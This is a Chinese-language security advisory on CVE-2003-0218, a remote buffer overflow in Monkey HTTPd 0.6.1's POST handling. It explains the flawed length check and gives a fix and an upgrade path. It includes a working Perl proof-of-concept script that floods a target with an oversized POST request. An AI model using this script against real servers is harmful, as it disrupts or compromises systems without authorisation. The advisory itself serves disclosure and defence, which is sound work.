Monkey HTTPd远程缓冲区溢出漏洞
发布日期:2003-04-20
更新日期:2003-04-24
受影响系统:Monkey Monkey HTTP Daemon 0.6.1
不受影响系统:Monkey Monkey HTTP Daemon 0.6.2
描述:
CVE(CAN) ID:
CVE-2003-0218
Monkey是一款开放源代码的WEB服务程序。
Monkey在处理POST请求方法提交的表单时缺少正确缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。
问题存在于PostMethod()过程中,在第三行有缓冲区分配:
char buffer[MAX_REQUEST_BODY];
MAX_REQUEST_BODY的大小定义在monkey.h头问中:
define MAX_REQUEST_BODY 10240 /* Maximo buffer del request */
而在过程第10行有一个安全检查:
if(content_length_post<=0){
memset(buffer,'\0',sizeof(buffer));
for(i=4;i<strlen(post_buffer);i++){
buffer[i-4]=post_buffer[i]; // 缓冲区溢出
}
由于条件检查不充分,可导致上面的循环发生缓冲区溢出,攻击者提交超长的POST请求可能以WEB进程权限在系统上执行任意指令。
<*来源:Matthew Murphy (
mattmurphy@kc.rr.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=105094204204166&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Matthew Murphy (
mattmurphy@kc.rr.com)提供了如下测试方法:
#!/usr/bin/perl
# monkey-nuke.pl
# Monkey HTTPd Remote Buffer Overflow
# Discovery/Exploit by Matthew Murphy
use IO::Socket;
print STDOUT "What host to connect to \[\]\: ";
$host = trim(chomp($line = <STDIN>));
print STDOUT "What port to connect to \[80\]\: ";
$port = trim(chomp($line = <STDIN>));
$addr = "$host\:$port";
print STDOUT "What script to submit to \[\/cgi-bin\/test\.pl\]\: ";
$script = trim(chomp($line = <STDIN>));
$buffer = "A"x11000;
$exploit = "POST /$script HTTP/1.0\r\n";
$exploit.= "Content-Type: application/x-www-form-urlencoded\r\n";
$exploit.= "Content-Length: 11000\r\n\r\n";
$exploit.= "$buffer\r\n\r\n";
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$addr);
print $f $exploit;
sleep 5;
undef $f;
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 在monkey.c中,以:
if(content_length_post<=0 || content_length_post >= MAX_REQUEST_BODY){
代替:
if(content_length_post<=0){
厂商补丁:
Monkey
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载使用最新Monkey 0.6.2 版本:
http://monkeyd.sourceforge.net浏览次数:2815
严重程度:0(网友投票)